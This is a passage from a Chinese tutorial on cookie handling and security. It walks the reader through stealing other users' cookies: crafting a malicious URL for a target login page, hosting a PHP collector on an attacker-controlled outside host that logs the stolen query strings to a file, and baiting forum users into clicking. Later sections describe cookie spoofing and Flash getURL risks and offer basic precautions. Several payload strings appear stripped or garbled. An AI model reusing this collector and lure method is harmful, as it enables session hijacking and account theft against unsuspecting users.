Cookie的传递流程及安全问题( 二 )


三、Cookie的编程实现 适用对象:高级读者
多数网页编程语言都提供了对Cookie的支持 。如JavaScript、VBScript、Delphi、ASP、SQL、PHP、C#等 。在这些面向对象的编程语言中,对Cookie的编程利用基本上是相似的,大体过程为:先创建一个Cookie对象(Object),然后利用控制函数对Cookie进行赋值、读取、写入等操作 。那么如何通过代码来获取其他用户Cookie中的敏感信息?下面进行简单的介绍 。
该方法主要有两步,首先要定位你需要收集Cookie的网站,并对其进行分析,并构造URL;然后编制收集Cookie的PHP代码,并将其放到你可以控制的网站上,当不知情者单击了你构造的URL后可以执行该PHP代码 。下面我们看具体的实现过程 。
1.分析并构造URL
首先打开我们要收集Cookie的网站,这里假设是http://www.XXX.net,登陆网站输入用户名“”(不含引号),对数据进行分析抓包,得到形如“http://www.XXX.net/txl/login/login.pl?username=&passwd=&ok.x=28&ok.y=6”的代码,将“”更换为“”再试;如果执行成功,就开始构造URL:“http://www.XXX.net/txl/login/login.pl?username=&passwd=&ok.x=28&ok.y=6” 。其中http:///www.cbifamily.org/cbi.php就是你能够控制的某台主机上的一个脚本 。需要注意的是“ ”为符号“ ”的URL编码,因为“ ”将被作为空格处理 。该URL就可以在论坛中发布,诱使别人点击了 。
2.编制PHP脚本
该脚本的作用就是收集Cookie文件,具体内容如下:
$info = getenv("QUERY_STRING");
if ($info) {
$fp = fopen("info.txt","a");
fwrite($fp,$info."n");
fclose($fp);
}
header("Location: http://www.XXX.net");
?>
【Cookie的传递流程及安全问题】
四、Cookie的安全问题 适用对象:所有希望上网安全的读者
1.Cookie欺骗
Cookie记录着用户的帐户ID、密码之类的信息,如果在网上传递,通常使用的是MD5方法加密 。这样经过加密处理后的信息,即使被网络上一些别有用心的人截获,也看不懂,因为他看到的只是一些无意义的字母和数字 。然而,现在遇到的问题是,截获Cookie的人不需要知道这些字符串的含义,他们只要把别人的Cookie向服务器提交,并且能够通过验证,他们就可以冒充受害人的身份,登陆网站 。这种方法叫做Cookie欺骗 。Cookie欺骗实现的前提条件是服务器的验证程序存在漏洞,并且冒充者要获得被冒充的人的Cookie信息 。目前网站的验证程序要排除所有非法登录是非常困难的,例如,编写验证程序使用的语言可能存在漏洞 。而且要获得别人Cookie是很容易的,用支持Cookie的语言编写一小段代码就可以实现(具体方法见三),只要把这段代码放到网络里,那么所有人的Cookie都能够被收集 。如果一个论坛允许HTML代码或者允许使用Flash标签就可以利用这些技术收集Cookie的代码放到论坛里,然后给帖子取一个吸引人的主题,写上有趣的内容,很快就可以收集到大量的Cookie 。在论坛上,有许多人的密码就被这种方法盗去的 。至于如何防范,目前还没有特效药,我们也只能使用通常的防护方法,不要在论坛里使用重要的密码,也不要使用IE自动保存密码的功能,以及尽量不登陆不了解底细的网站 。
2.Flash的代码隐患
Flash中有一个getURL()函数,Flash可以利用这个函数自动打开指定的网页 。因此它可能把你引向一个包含恶意代码的网站 。打个比方,当你在自己电脑上欣赏精美的Flash动画时,动画帧里的代码可能已经悄悄地连上网,并打开了一个极小的包含有特殊代码的页面 。这个页面可以收集你的Cookie、也可以做一些其他的事情,比如在你的机器上种植木马甚至格式化你的硬盘等等 。对于Flash的这种行为,网站是无法禁止的,因为这是Flash文件的内部行为 。我们所能做到的,如果是在本地浏览尽量打开防火墙,如果防火墙提示的向外发送的数据包并不为你知悉,最好禁止 。如果是在Internet上欣赏,最好找一些知名的大网站 。

推荐阅读